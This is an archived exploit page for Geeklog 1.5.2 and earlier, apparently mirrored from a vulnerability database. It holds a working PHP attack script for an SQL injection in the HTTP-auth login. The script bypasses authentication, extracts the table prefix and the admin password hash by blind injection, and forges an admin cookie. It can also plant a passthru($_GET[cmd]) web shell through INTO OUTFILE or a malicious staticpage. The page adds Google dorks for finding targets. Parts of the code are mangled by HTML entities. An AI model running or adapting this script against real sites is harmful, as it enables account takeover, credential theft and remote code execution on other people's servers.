Lucene search

K
securityvulnsSecurityvulnsSECURITYVULNS:DOC:21605
HistoryApr 10, 2009 - 12:00 a.m.

Geeklog <=1.5.2 SEC_authenticate()/PHP_AUTH_USER sql injection exploit

2009-04-1000:00:00
vulners.com
231

<?php

/*
Geeklog <=1.5.2 SEC_authenticate()/PHP_AUTH_USER sql injection exploit
by Nine:Situations:Group::bookoo

our site: http://retrogod.altervista.org/
software site: http://www.geeklog.net/

credit goes to rgod, bug found more than a year ago

working against PHP &gt;= 5.0
google dorks: &quot;By Geeklog&quot; &quot;Created this page in&quot; +seconds +powered
              &quot;By Geeklog&quot; &quot;Created this page in&quot; +seconds +powered inurl:public_html

vulnerability, see /public_html/webservices/atom/index.php near lines 34-53:
...
require_once &#39;../../lib-common.php&#39;;

if &#40;PHP_VERSION &lt; 5&#41; {
$_CONF[&#39;disable_webservices&#39;] = true;
} else {
    require_once $_CONF[&#39;path_system&#39;] . &#39;/lib-webservices.php&#39;;
}
if &#40;$_CONF[&#39;disable_webservices&#39;]&#41; {
    COM_displayMessageAndAbort&#40;$LANG_404[3], &#39;&#39;, 404, &#39;Not Found&#39;&#41;;
}
header&#40;&#39;Content-type: &#39; . &#39;application/atom+xml&#39; . &#39;; charset=UTF-8&#39;&#41;;
WS_authenticate&#40;&#41;;
...

now WS_authenticate&#40;&#41; function in /system/lib-webservices.php near lines 780-877:

...
function WS_authenticate&#40;&#41;
{
global $_CONF, $_TABLES, $_USER, $_GROUPS, $_RIGHTS, $WS_VERBOSE;

$uid = &#39;&#39;;
$username = &#39;&#39;;
$password = &#39;&#39;;

$status = -1;

if &#40;isset&#40;$_SERVER[&#39;PHP_AUTH_USER&#39;]&#41;&#41; {
    $username = $_SERVER[&#39;PHP_AUTH_USER&#39;];
    $password = $_SERVER[&#39;PHP_AUTH_PW&#39;];

    if &#40;$WS_VERBOSE&#41; {
        COM_errorLog&#40;&quot;WS: Attempting to log in user &#39;$username&#39;&quot;&#41;;
    }
} elseif &#40;!empty&#40;$_SERVER[&#39;REMOTE_USER&#39;]&#41;&#41; {


    list&#40;$auth_type, $auth_data&#41; = explode&#40;&#39; &#39;, $_SERVER[&#39;REMOTE_USER&#39;]&#41;;
    list&#40;$username, $password&#41; = explode&#40;&#39;:&#39;, base64_decode&#40;$auth_data&#41;&#41;;

    if &#40;$WS_VERBOSE&#41; {
        COM_errorLog&#40;&quot;WS: Attempting to log in user &#39;$username&#39; &#40;via &#92;$_SERVER[&#39;REMOTE_USER&#39;]&#41;&quot;&#41;;
    }
} else {
    if &#40;$WS_VERBOSE&#41; {
        COM_errorLog&#40;&quot;WS: No login given&quot;&#41;;
    }


}

...

and after, near lines 907-909:

...
 if &#40;&#40;$status == -1&#41; &amp;&amp; $_CONF[&#39;user_login_method&#39;][&#39;standard&#39;]&#41; {
        $status = SEC_authenticate&#40;$username, $password, $uid&#41;;
    }

...
    
    
now open /system/lib-security.php near lines 695-717:

...
    function SEC_authenticate&#40;$username, $password, &amp;$uid&#41;
{
global $_CONF, $_TABLES, $LANG01;

$result = DB_query&#40;&quot;SELECT status, passwd, email, uid FROM {$_TABLES[&#39;users&#39;]} WHERE username=&#39;$username&#39; AND

((remoteservice is null) or (remoteservice = ''))"); //<------------------- SQL INJECTION HERE
$tmp = DB_error();
$nrows = DB_numRows($result);

if &#40;&#40;$tmp == 0&#41; &amp;&amp; &#40;$nrows == 1&#41;&#41; {
    $U = DB_fetchArray&#40;$result&#41;;
    $uid = $U[&#39;uid&#39;];
    if &#40;$U[&#39;status&#39;] == USER_ACCOUNT_DISABLED&#41; {
        // banned, jump to here to save an md5 calc.
        return USER_ACCOUNT_DISABLED;
    } elseif &#40;$U[&#39;passwd&#39;] != SEC_encryptPassword&#40;$password&#41;&#41; {

        return -1; // failed login
    } elseif &#40;$U[&#39;status&#39;] == USER_ACCOUNT_AWAITING_APPROVAL&#41; {
        return USER_ACCOUNT_AWAITING_APPROVAL;
    } elseif &#40;$U[&#39;status&#39;] == USER_ACCOUNT_AWAITING_ACTIVATION&#41; {
        // Awaiting user activation, activate:
        DB_change&#40;$_TABLES[&#39;users&#39;], &#39;status&#39;, USER_ACCOUNT_ACTIVE,
                  &#39;username&#39;, $username&#41;;
        return USER_ACCOUNT_ACTIVE;
    } else {
        return $U[&#39;status&#39;]; // just return their status
    }
} else {
    $tmp = $LANG01[32] . &quot;: &#39;&quot; . $username . &quot;&#39;&quot;;
    COM_errorLog&#40;$tmp, 1&#41;;
    return -1;
}
}

...

you can inject sql code in the &#39;username&#39; argument of this function, it may
come from $_SERVER[&#39;PHP_AUTH_USER&#39;] or $_SERVER[&#39;REMOTE_USER&#39;] php
variables.
Theese vars are used for both HTTP Basic and Digest Authentication methods,
see PHP manual:

http://www.php.net/manual/en/features.http-auth.php

manual poc, visit http://host/path_to_geeklog/webservices/atom/index.php
then type:

username: &#39; AND 0 UNION SELECT 3,MD5&#40;&#39;AAAA&#39;&#41;,null,2 FROM gl_users LIMIT 1/*
password: AAAA

authentication mechanism is bypassed!
Note that it is passed base64_encode&#40;&#41;&#39;d !
    
Now you have access to some dangerous functions:

service_submit_staticpages&#40;&#41;
service_delete_staticpages&#40;&#41;
service_get_staticpages&#40;&#41;
service_getTopicList_staticpages&#40;&#41;

in /plugins/staticpages/services.inc.php

service_submit_story&#40;&#41;
service_delete_story&#40;&#41;
service_get_story&#40;&#41;
service_getTopicList_story&#40;&#41;
    
in /system/lib-story.php
    
ex. the service_submit_staticpages&#40;&#41; one allows to specify a dangerous
sp_php flag in submitting &quot;staticpages&quot;; if the staticapages.PHP permission
is set to true for the staticpage admin &#40;not the default&#41;, the page will be
evaluated as PHP code.      
    
If not, you can extract the admin hash, then have access to administration
panel by the cookie:
    
geeklog=[uid]; password=[md5 hash];
    
set the staticpages.PHP permission to true, then resubmit the &#39;staticpage&#39;.
    
Additional notes: Speed time limit is evaded by this script in submitting
login credentials/semi-blind queries.
If private folders are placed inside the www path &#40;ex. when then public_html
path is visible inside urls&#41; you could see the geeklog error.log with sql
errors, so disclose the table prefix, if not the default; ex, truncate the
url, replacing public_html/ with logs/error.log and you coukd also disclose
the local path by visiting ex. http://host/path/system/pear/Archive/Tar.php
http://host/path/system/classes/syndication/parserfactory.class.php

*/

$err[0] = &quot;[!] This script is intended to be launched from the cli!&quot;;
$err[1] = &quot;[!] You need the curl extesion loaded!&quot;;
 
if &#40;php_sapi_name&#40;&#41; &lt;&gt; &quot;cli&quot;&#41; {
    die&#40;$err[0]&#41;;
}
if &#40;!extension_loaded&#40;&#39;curl&#39;&#41;&#41; {
    $win = &#40;strtoupper&#40;substr&#40;PHP_OS, 0, 3&#41;&#41; === &#39;WIN&#39;&#41; ? true :
    false;
    if &#40;$win&#41; {
        !dl&#40;&quot;php_curl.dll&quot;&#41; ? die&#40;$err[1]&#41; :
        nil;
    } else {
        !dl&#40;&quot;php_curl.so&quot;&#41; ? die&#40;$err[1]&#41; :
        nil;
    }
}
 
function syntax&#40;&#41; {
    print &#40;
    &quot;Syntax: php &quot;.$argv[0].&quot; [host] [path] [OPTIONS] &#92;n&quot;. &quot;Options:                                                  

\n". "–port:[port] - specify a port \n". " default->80
\n". "–prefix - try to extract table prefix from information.schema \n". "
default->gl_ \n". "–uid:[n] - specify an uid other than default
(2,usually admin) \n". "–proxy:[host:port] - use proxy \n". "–skiptest

  • skip preliminary tests \n". "–test - run only tests
    \n". "–export_shell:[path] - try to export a shell with INTO OUTFILE, needs Mysql\n". " FILE
    privilege \n". "–sp -
    submit a 'staticpage' with php code, needs geeklog \n". " sp_php permission set to true for
    thestaticpage \n". " plugin (not the default) \n". "Examples: php
    ".$argv[0]." 192.168.0.1 /geeklog/ \n". " php ".$argv[0]." 192.168.0.1 / --prefix
    –proxy:1.1.1.1:8080 \n". " php ".$argv[0]." 192.168.0.1 / --prefix --export_shell:/var/www\n". "
    php ".$argv[0]." 192.168.0.1 / --prefix --uid:3");
    die();
    }

    error_reporting(E_ALL ^ E_NOTICE);
    $host = $argv[1];
    $path = $argv[2];

    $prefix = "gl_";
    //default
    $uid = "2";
    $where = "uid=$uid";

    $argv[2] ? print("[*] Attacking…\n") :
    syntax();

    $_f_prefix = false;
    $_use_proxy = false;
    $port = 80;
    $_skiptest = false;
    $_verbose = false;
    $_test = false;
    $sp_submit = false;
    $into_outfile = false;

    for ($i = 3; $i < $argc; $i++) {
    if (stristr($argv[$i], "–prefix")) {
    $_f_prefix = true;
    }
    if (stristr($argv[$i], "–proxy:")) {
    $_use_proxy = true;
    $tmp = explode(":", $argv[$i]);
    $proxy_host = $tmp[1];
    $proxy_port = (int)$tmp[2];
    }
    if (stristr($argv[$i], "–port:")) {
    $tmp = explode(":", $argv[$i]);
    $port = (int)$tmp[1];
    }

      if &#40;stristr&#40;$argv[$i], &quot;--uid&quot;&#41;&#41; {
          $tmp = explode&#40;&quot;:&quot;, $argv[$i]&#41;;
          $uid = &#40;int&#41;$tmp[1];
          $where = &quot;uid=$uid&quot;;
      }
      if &#40;stristr&#40;$argv[$i], &quot;--verbose&quot;&#41;&#41; {
          $_verbose = true;
      }
      if &#40;stristr&#40;$argv[$i], &quot;--skiptest&quot;&#41;&#41; {
          $_skiptest = true;
      }
      if &#40;stristr&#40;$argv[$i], &quot;--test&quot;&#41;&#41; {
          $_test = true;
      }
      if &#40;stristr&#40;$argv[$i], &quot;--export_shell:&quot;&#41;&#41; {
          $tmp = explode&#40;&quot;:&quot;, $argv[$i]&#41;;
          $my_path = $tmp[1];
          $into_outfile = true;
      }
      if &#40;stristr&#40;$argv[$i], &quot;--sp&quot;&#41;&#41; {
          $sp_submit = true;
      }
    

    }

    function _s($url, $auth, $is_post, $request) {
    global $_use_proxy, $proxy_host, $proxy_port;
    $ch = curl_init();
    curl_setopt($ch, CURLOPT_URL, $url);
    if ($is_post) {
    curl_setopt($ch, CURLOPT_POST, 1);
    curl_setopt($ch, CURLOPT_POSTFIELDS, $request."\r\n");
    }
    curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
    curl_setopt($ch, CURLOPT_USERAGENT, "Mozilla/5.0 (Windows; U; Windows NT 5.1; it; rv:1.9.0.7) Gecko/2009021910
    Firefox/3.0.7");
    curl_setopt($ch, CURLOPT_TIMEOUT, 0);

      if &#40;$auth &lt;&gt; &quot;&quot;&#41; {
           $auth = array&#40;&quot;Authorization: Basic &quot;.$auth&#41;;
          curl_setopt&#40;$ch, CURLOPT_HEADER, 1&#41;;
          curl_setopt&#40;$ch, CURLOPT_HTTPHEADER, $auth&#41;;
      }
      if &#40;$_use_proxy&#41; {
          curl_setopt&#40;$ch, CURLOPT_PROXY, $proxy_host.&quot;:&quot;.$proxy_port&#41;;
      }
      $_d = curl_exec&#40;$ch&#41;;
      if &#40;curl_errno&#40;$ch&#41;&#41; {
          die&#40;&quot;[!] &quot;.curl_error&#40;$ch&#41;.&quot;&#92;n&quot;&#41;;
      } else {
          curl_close&#40;$ch&#41;;
      }
      return $_d;
    

    }

    function find_prefix() {
    global $host, $port, $path, $uid, $pwd, $url;

      $_tn = &quot;TABLE_NAME&quot;;
      $_ift = &quot;information_schema.TABLES&quot;;
       
      $_table_prefix = &quot;&quot;;
      $j = -15;
      $usr = &quot;&#39; AND 0 UNION SELECT null,null,null,null FROM $_ift WHERE &quot;.$_tn.&quot; LIKE 0x25747261636b6261636b636f646573
    

LIMIT 1/";
$_o = _s($url, base64_encode($usr.":".$pwd) , 0, "");
if (chk_err($_o)) {
die("[!] $_ift not availiable.");
} else {
print "[
] Initiating table prefix extraction…\n";
}
while (!$null_f) {
$mn = 0x00;
$mx = 0xff;
while (1) {
if (($mx + $mn) % 2 == 1) {
$c = round(($mx + $mn) / 2) - 1;
} else {
$c = round(($mx + $mn) / 2);
}

            $usr = &quot;&#39; AND 0 UNION SELECT 3,MD5&#40;&#39;AAAA&#39;&#41;,null,&#40;CASE WHEN &#40;ASCII&#40;SUBSTR&#40;&quot;.$_tn.&quot; FROM $j FOR 1&#41;&#41; &gt;=

".$c.") THEN '' ELSE $uid END) FROM $_ift WHERE ".$_tn." LIKE 0x25747261636b6261636b636f646573 LIMIT 1/*";
$_o = _s($url, base64_encode($usr.":".$pwd) , 0, "");

            if &#40;chk_err&#40;$_o&#41;&#41; {
                $mn = $c;
            } else {
                $mx = $c - 1;
            }
             
            if &#40;&#40;$mx-$mn == 1&#41; or &#40;$mx == $mn&#41;&#41; {
                $usr = &quot;&#39; AND 0 UNION SELECT 3,MD5&#40;&#39;AAAA&#39;&#41;,null,&#40;CASE WHEN &#40;ASCII&#40;SUBSTR&#40;&quot;.$_tn.&quot; FROM $j FOR 1&#41;&#41; &gt;=

".$c.") THEN '' ELSE $uid END) FROM $_ift WHERE ".$_tn." LIKE 0x25747261636b6261636b636f646573 LIMIT 1/*";
$_o = _s($url, base64_encode($usr.":".$pwd) , 0, "");
if (chk_err($_o)) {
if ($mn <> 0) {
$_table_prefix = chr($mn).$_table_prefix;
} else {
$null_f = true;
}
} else {
if ($mx <> 0) {
$_table_prefix = chr($mx).$_table_prefix;
} else {
$null_f = true;
}
}
if (!$null_f) {
print ("[?] Table prefix->[??]".$_table_prefix."\n");
}
break;
}
}
$j–;
}
print "[?] Table prefix->".$_table_prefix."\n";
return $_table_prefix;
}

function export_sh&#40;&#41; {
    global $pwd, $url, $prefix, $my_path;
    $usr = &quot;&#39; AND 0 UNION SELECT null,&#39;&lt;?php passtrhu&#40;&#92;$_GET[cmd]&#41;;?&gt;&#39;,null,null INTO OUTFILE &#39;&quot;.$my_path.&quot;/sh.php&#39;

FROM ".$prefix."users LIMIT 1/";
$_o = _s($url, base64_encode($usr.":".$pwd) , 0, "");
if (chk_err($_o)) {
print ("[
] Sql error.");
} else {
print ("[*] Done.");
}
}

function sp_php&#40;&#41; {
    global $host, $port, $path, $pwd, $prefix, $uid;
     
    srand&#40;make_seed&#40;&#41;&#41;;
    $id = rand&#40;0x1, 0xffffff&#41;;
    echo &quot;[*] id-&gt;&quot;.$id.&quot;&#92;n&quot;;
     
    $sh = &quot;passthru&#40;&#92;$_GET[cmd]&#41;;&quot;;
     
    //always specify the namespaceuri
    //if the staticpages.PHP permission is not avaliable, sp_php will be resetted to 0
    $data = &quot;&lt;?xml version=&#92;&quot;1.0&#92;&quot;?&gt;&quot;. &quot;&lt;entry&gt;&quot;. &quot;&lt;title term=&#92;&quot;1&#92;&quot;

xmlns=\"http://www.geeklog.net/xmlns/app/gl&#92;&quot;&gt;&#92;x20&#92;x20&#92;x20&#92;x20&lt;/title&gt;&quot;. "<id
xmlns=\"http://www.geeklog.net/xmlns/app/gl&#92;&quot;&gt;$id&lt;/id&gt;&quot;. "<sp_content
xmlns=\"http://www.geeklog.net/xmlns/app/gl&#92;&quot;&gt;$sh&lt;/sp_content&gt;&quot;. "<sp_php
xmlns=\"http://www.geeklog.net/xmlns/app/gl&#92;&quot;&gt;1&lt;/sp_php&gt;&quot;. "<gl_etag
xmlns=\"http://www.geeklog.net/xmlns/app/gl&#92;&quot;&gt;1&lt;/gl_etag&gt;&quot;. "</entry>";

    $usr = &quot;&#39; AND 0 UNION SELECT 3,MD5&#40;&#39;AAAA&#39;&#41;,null,$uid FROM &quot;.$prefix.&quot;users LIMIT 1/*&quot;;
    $url = &quot;http://$host:$port&quot;.$path.&quot;webservices/atom/index.php?plugin=staticpages&quot;;
    $out = _s&#40;$url, base64_encode&#40;$usr.&quot;:&quot;.$pwd&#41; , 1, $data&#41;;
     
    if &#40;chk_err&#40;$_o&#41;&#41; {
        print &#40;&quot;[*] Sql error.&quot;&#41;;
    } else {
        print &#40;&quot;[*] Done! Visit-&gt;http://$host:$port&quot;.$path.&quot;staticpages/index.php?page=$id&amp;cmd=ls&#37;20-la&quot;&#41;;
    }
     
}
 
function make_seed&#40;&#41; {
    list&#40;$usec, $sec&#41; = explode&#40;&#39; &#39;, microtime&#40;&#41;&#41;;
    return &#40;float&#41; $sec + &#40;&#40;float&#41; $usec * 100000&#41;;
}
 
function chk_err&#40;$s&#41; {
    if &#40;stripos &#40;$s,

"\x41\x6e\x20\x53\x51\x4c\x20\x65\x72\x72\x6f\x72\x20\x68\x61\x73\x20\x6f\x63\x63\x75\x72\x72\x65\x64\x2e")) {
return true;
} else {
return false;
}
}

$pwd = &quot;AAAA&quot;;
$url = &quot;http://$host:$port&quot;.$path.&quot;webservices/atom/index.php?plugin=staticpages&quot;;
 
if &#40;!$_skiptest&#41; {
    $out = _s&#40;$url, base64_encode&#40;&quot;&#39;:&#39;&quot;&#41; , 0, &quot;&quot;&#41;;
    if &#40;chk_err&#40;$out&#41;&#41; {
        print&#40;&quot;[*] Vulnerable!&#92;n&quot;&#41;;
    } else {
        die&#40;&quot;[!] Not vulnerable.&quot;&#41;;
    }
}
 
if &#40;$_test&#41; {
    die;
}
 
if &#40;$_f_prefix == true&#41; {
    $prefix = find_prefix&#40;&#41;;
}
 
if &#40;$into_outfile == true&#41; {
    export_sh&#40;&#41;;
    die;
}
if &#40;$sp_submit == true&#41; {
    sp_php&#40;&#41;;
    die;
}
 
$c = array&#40;&#41;;
$c = array_merge&#40;$c, range&#40;0x30, 0x39&#41;&#41;;
$c = array_merge&#40;$c, range&#40;0x61, 0x66&#41;&#41;;
$_hash = &quot;&quot;;
print &#40;&quot;[*] Initiating hash extraction ...&#92;n&quot;&#41;;
for &#40;$j = 1; $j &lt; 0x21; $j++&#41; {
    for &#40;$i = 0; $i &lt;= 0xff; $i++&#41; {
        $f = false;
        if &#40;in_array&#40;$i, $c&#41;&#41; {
            //uid is mediumint, so if you assign a string value to it you have an sql error, so the script fails hence

true/fails questions and you bypass speed limit also
$usr = "' AND 0 UNION SELECT 3,MD5('AAAA'),null,(CASE WHEN (ASCII(SUBSTR(passwd FROM $j FOR 1))=$i) THEN
'' ELSE $uid END) FROM ".$prefix."users WHERE $where LIMIT 1/";
$out = _s($url, base64_encode($usr.":".$pwd) , 0, "");
if (chk_err($out)) {
$f = true;
$_hash .= chr($i);
print "[
] Md5 Hash: ".$_hash.str_repeat("?", 0x20-$j)."\n";
break;
}
}
}
if ($f == false) {
die("\n[!] Unknown error …");
}
}
print "[*] Done! Cookie: geeklog=$uid; password=".$_hash.";\n";
?>

original url: http://retrogod.altervista.org/9sg_geeklog_152_sql.htm